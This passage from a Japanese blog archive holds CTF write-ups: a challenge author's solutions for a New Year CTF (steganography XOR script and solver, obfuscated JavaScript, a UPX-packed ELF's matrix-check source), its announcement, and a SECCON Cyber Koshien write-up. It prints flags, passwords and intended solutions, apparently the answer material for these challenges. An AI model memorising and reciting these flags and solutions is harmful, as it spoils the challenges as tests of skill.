import random
try:
    from PIL import Image
except ImportError:
    import Image

if len(sys.argv) < 3:
    sys.stderr.write('Usage: {0:s} png_file message\n'.format(sys.argv[0]))
    sys.exit(1)

im = Image.open(sys.argv[1])
width, height = im.size

message = sys.argv[2]

for i in xrange(len(message)):
    pix = list(im.getpixel((i % width, i / width)))
    pix[random.randint(0, 3)] ^= ord(message[i])
    im.putpixel((i % width, i / width), tuple(pix))

im.save(basename(sys.argv[1]).split('.')[0].encode('rot13') + '.png')

pythonのデコンパイラを使うとほぼ同じ内容のコードを復元できると思います.

こいつを少し変えるとsolverになります.

#!/usr/bin/env python2
import sys
from os.path import getsize, basename
try:
    from PIL import Image
except ImportError:
    import Image

if len(sys.argv) < 3:
    sys.stderr.write('Usage: {0:s} original_file stegged_file\n'.format(sys.argv[0]))
    sys.exit(1)

im1 = Image.open(sys.argv[1])
im2 = Image.open(sys.argv[2])

width, height = im1.size

message = ''

i = 0
while not '\x00' in message: 
    pix1 = list(im1.getpixel((i % width, i / width)))
    pix2 = list(im2.getpixel((i % width, i / width)))
    message += chr(max([t[0] ^ t[1] for t in zip(pix1, pix2)]))
    i += 1

print message.strip('\x00')

こいつにネットから探してきた元の画像とwc16g_tf_0003.pngを渡せばflagが出てきます.

Congratz!!! Password: D3c0mpilin6_4nd_R3v3rs1n6_pyc_15_700_345y

Stage2

ジャンルとしては (Javascript) Reversing です.

この問題はStage1〜Stage3の中で最も年賀状CTFらしいネタが詰まっています.

問題のLife GameはMonkey Xという,クロスプラットフォームプログラミング言語を用いて作成しました.

なおLife Game本体はサンプルコード*1から引用しました.

実行すると普通のLife Gameが始まります.

Javascriptで動いているのでコードを見てみると難読化がかけられているので,

気合で人力デコードしたり,ブラウザにデコードさせたり,難読化解除ツールを使ったりしてコードを復元します.

元のコードを解析すると盤面がある条件を満たした状態でキーボードのFを押すとflagが現れることが分かります.

実はこのある条件を再現すると2016という文字が浮かび上がります.

Stage3

ジャンルは Reversing です.

$ file stage3
stage3: ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

Statically LinkedでStrippedという面倒な設定ですが,

その代わり32bitだったり元のコードが1612バイトと小さかったりすることで,

ある程度の難しさに調整しています.

こいつはUPXでパックされていますが,

単純にupx -dではアンパックできないようになっています.

UPXがパックされるとき独自のヘッダーがくっつき,

upx -dではその独自のヘッダーを解釈してアンパックしています.

この独自ヘッダーの一部を書き換えてやると動くのにupx -dでアンパックできないというバイナリが出来ます.

想定解ではメモリ上に展開された状態でダンプを取って解析することを想定していました.

このプログラムの元ソースは次の通りです.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char key_matrix[4][4];
unsigned char flag_matrix[4][4];
unsigned char enc_matrix[4][4] = {0};

unsigned char correct_matrix[4][4] = {{0xd0, 0x3f, 0x3e, 0x08},
                                      {0x5b, 0x37, 0x79, 0x1e},
                                      {0x46, 0xe1, 0x10, 0x50},
                                      {0xb1, 0xe6, 0x73, 0xa7}};

int
is_valid_matrix()
{
    for(int i = 0; i < 4; i++) {
        for(int j = 0; j < 4; j++) {
            if(enc_matrix[i][j] != correct_matrix[i][j]){
                return 0;
            }
        }
    }
    return 1;
}

void
mul_matrix()
{
    for(int i = 0; i < 4; i++) {
        for(int j = 0; j < 4; j++) {
            for(int k = 0; k < 4; k++) {
                enc_matrix[i][j] += key_matrix[i][k] * flag_matrix[k][j];
            }
        }
    }
}

void
gen_key_matrix()
{
    srand(735);
    for(int i = 0; i < 4; i++) {
        for(int j = 0; j < 4; j++) {
            key_matrix[i][j] = rand() % 0x100;
        }
    }
}

void
flag2matrix(unsigned char *flag)
{
    for(int i = 0; i < 4; i++) {
        for(int j = 0; j < 4; j++) {
            flag_matrix[i][j] = flag[i * 4 + j];
        }
    }
}

int
is_valid_flag(unsigned char* flag)
{
    if(strlen(flag) != 16) return 0;
    if(flag[4] != '-' || flag[11] != '-') return 0;
    flag2matrix(flag);
    gen_key_matrix();
    mul_matrix();
    if(is_valid_matrix()) return 1;
    return 0;
}

int
main(int argc, char* argv[])
{
    if(argc != 2)
    {
        fprintf(stderr, "Usage: %s flag\n", argv[0]);
        exit(1);
    }

    if (is_valid_flag(argv[1]))
    {
        puts("Congrats! You got the amazon code.");
    } else {
        puts("Invalid. Try again.");
    }

    return 0;
}

randで生成した行列と入力したアマゾンギフト券のコードを行列として解釈した2行列の積が

correct_matrixになればいいというプログラムです.

想定解ではkey_matrixの逆行列を求めてcorrect_matrixにかけてflagを復元することを想定していました.

まとめ

結構な人に参加していただけたようで主催及び作問者としてはとてもうれしく思っています.

来年の年賀状CTFは2017/1/1 12:00(JST)に開催しようと考えています.

また来年は1位の人だけでなく3位の人ぐらいまでお年玉を出せればいいなと考えています.

年賀状CTF(お年玉付き)

新年あけましておめでとうございます.

新年といえば年賀状.年賀状といえば年賀状CTF.

ということでお年玉付き年賀状CTFを開催します!

お年玉の金額は

1337円(8進数表記)です!

ルール

  • ステージ1〜ステージ3の合計3問です.

  • 途中点などはありません.

  • ステージ3のフラグがAmazonギフト券のコードなので,一番早く解いた人のみが受け取れるようになっています.

  • ギフト券獲得者は @_N4NU_ 宛にDM又はリプを送ってください.

  • 質問がある場合も @_N4NU_ 宛にDM又はリプを送ってください.

  • Write upなど解法の公開は大歓迎です.

問題

www.dropbox.com

First blood

akiymさん (2016/1/1 2:36)

おめでとうございます!

サイバー甲子園 Write up

SECCONのintercollegeの予選のサイバー甲子園に参加した.

2015.seccon.jp

193sと一緒にscryptosとして出場し優勝した.
自分の解いた問題のwrite upを書く.

Find from binary - Bin 100

fileコマンドを叩いてみると

questions: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0ae2183f11574b7147809273d6069958ff21eb70, not stripped

とりあえずIDAに喰わせてみる.

f:id:nanuyokakinu:20151108101921p:plain

絶対通らない分岐先でflagを表示する処理に入っている.
バイナリ書き換えたりデバッガで値変えたりするという方法もあるが,
動かすのが面倒だったのでIDAのHex Viewからコピーしてsubmitした.

flag: SECCON{Can U read me?}

Guess the flag - Bin 200

fileコマンドを叩いてみると

guess: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f1a2e385b6a77f23bf5528c7303300309e8d827a, not stripped

IDAに喰わせてみる.

f:id:nanuyokakinu:20151108102003p:plain

fgetsで受け取った文字列にNOT演算を掛けて,
0x8048700にあるバイト列と比較して,32バイト一致していたらいいらしい.
bin100と同様にIDAのHex Viewからコピーしてpythonでゴチャゴチャやってflagを出した.

flag: SECCON{XOR_encryption_message}

XOR encription ……?

Invisible message - Net 100

pcapファイルが渡された.
HTTPの通信をしてるのでHTTPで受け渡しされたhtmlとか色々見てみるが,
どれも特に怪しい感じがしなかった.
しばらくpcapを眺めていると,パケットのヘッダー部分にSECC...という文字列が見えた.
よくよく見てみるとクライアントからサーバーへSYNを飛ばし,
SYN/ACKが帰ってきたらすぐにRSTする通信が度々行われており,
これにflagが乗っかっているらしい.

f:id:nanuyokakinu:20151108102055p:plain

wirwsharkの条件式の使い方がわからず,
これに気づいたのが終了15分前ぐらいで
調べる時間もなかったので目grepでflagを出した.

flag: SECCON{Data_is_included_NOT_ONLY_in_payload_but_also_header_field.}

これ絶対100ptsじゃないだろ……

Follow the mail - Net 300

pcapを開くとsmtpの通信があるが,
文字コードISO-2022-JPだったりUTF-8だったりしてそのままでは読めない.
Follow TCP StreamでShow data as Hex Dumpとし,
メール本文のバイト列をコピー,
バイナリエディタに貼っつけてテキストエディタで読んだ.
全部のメールを読むと,flag.zipがメールに添付されており,
zipを解凍するためのパスワードはseccon2015_takesako
zipの中身の文書を開く時のパスワードはtakesako_tessy_sonodam
とのことらしい.

取り敢えずpcapからflag.zipを取り出してseccon2015_takesakoで解凍した.
すると中から出てきたのは,またflag.zipだった.
出てきたflag.zipにfileコマンドをかけてみると.
flag.zip: Composite Document File V2 Document, No summary info
だった.
これは.docだったり.xlsだったりを指しているので,
flag.docとしてMicrosoft Wordに開かせ,
パスワードにtakesako_tessy_sonodamを入力するとflagが現れた.

flag: SECCON{Sending_File_Password_with_Followed_Mail_is_bogus.}

前にもTDUCTFでメールの問題が出たが, その時も人力でメール本文のバイナリを引っこ抜いた.
どうにかこうにか簡単にメール本文だけ引っこ抜くことは出来ないのだろうか.
イケメンパケリスト各位に教えて頂きたい.

Excel

エクセルファイルが渡された.
開いてみるとこんな感じ.

f:id:nanuyokakinu:20151108102232p:plain

多分,値の部分に何か隠れているのだろうと適当にセルを見た.
すると#が値に入っているセルがあったので色の付いたセル全体をコピーして,
「形式を選択してペースト」で値だけをペーストしてやると

f:id:nanuyokakinu:20151108102301p:plain

横幅を調整してやると

f:id:nanuyokakinu:20151108102311p:plain

flag: SECCON{NIRVANA_KA1}

エスパーやな

感想

Bin300ふぁっく